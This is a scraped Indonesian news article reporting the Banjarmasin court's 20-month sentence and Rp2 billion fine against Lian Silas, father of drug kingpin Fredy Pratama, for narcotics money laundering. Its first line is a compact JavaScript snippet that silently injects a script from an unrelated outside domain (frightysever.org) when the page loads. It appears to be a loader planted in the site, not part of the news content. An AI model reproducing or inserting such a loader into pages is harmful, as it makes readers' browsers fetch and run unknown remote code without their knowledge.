(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Negeri (PN) Banjarmasin jatuhkan vonis 1 tahun 8 bulan (20 bulan) penjara kepada Lian Silas dalam kasus tindak pidana pencucian uang (TPPU) narkotika jaringan Fredy Pratama.
Vonis tersebut dibacakan oleh ketua majelis hakim Jamser Simajuntak SH MH didampingi dua hakim anggota Vidiawan Satriantoro SH dan Eko Setiawan SH MH di ruang sidang PN Banjarmasin, Kamis (25/4/2024) siang.
Selain pidana penjara, ayah dari gembong narkoba Fredy Pratama itu juga dibebani pidana tambahan berupa membayar pidana denda sebesar Rp2 miliar, dengan ketentuan apabila denda tersebut tidak dibayar maka diganti dengan kurungan selama 1 bulan.
Baca juga: Sinyal H Muhidin-Hasnur di Pilgub Kalsel dari Foto ‘Kemesraan Politik’ Mengapit Crazy Rich HI
“Menjatuhkan pidana oleh karena itu dengan pidana selama 1 tahun 8 bulan dan denda Rp2 miliar subsidair 1 bulan kurungan,” kata Jamser Simanjuntak saat membacakan amar putusan.
Pertimbangan yang memberatkan, hakim menyebut adanya kasus TPPU Narkotika jaringan Fredy Pratama dengan terdakwa Lian Silas telah meresahkan masyarakat Kota Banjarmasin.
Sementara hal yang meringankan, hakim menyebut Lian Silas jujur dan tidak berbelit-belit saat memberikan keterangan di persidangan, usia sudah tua 68 tahun, belum pernah dihukum, dan menyesali perbuatan.
Selain itu, terdakwa Lian Silas juga disebut bukanlah pelaku utama tindak pidana asal narkotika yang dijalankan Fredy Pratama. Sang ayah hanya menerima pemberian dari anaknya tersebut.
Baca juga:‘Koleksi’ Tiga Sajam Antar AW ke Polsek Banjarmasin Selatan
Putusan majelis hakim PN Banjarmasin juga menyatakan sejumlah aset tanah dan bangunan serta beberapa kendraan yang disita dari perkara Lian Silas dirampas untuk negara, meski tidak seluruhnya.
Hakim menyatakan dakwaan alternatif kesatu primair pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidan Pencucian Uang telah terbukti.
Setelah pembacaan putusan, terdakwa Lian Silas yang hadir langsung di persidangan didampingi penasehat hukum mengatakan memilih pikir-pikir sebelum menenentukan menerima putusan atau banding.
Baca juga: Jelajah Cagar Budaya Pelajar SMAN 1 Amuntai
“Kami minta waktu 7 hari untuk pikir-pikir dan mempelajari putusan,” kata Erna, penasehat hukum terdakwa.
Pendapat serupa juga diutarakan tim jaksa penuntut umum yang dihadiri Wayan bahwa untuk putusan yang dibacakan majelis hakim akan dipertimbangkan selama rentang waktu 7 hari yang diberikan majelis hakim. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.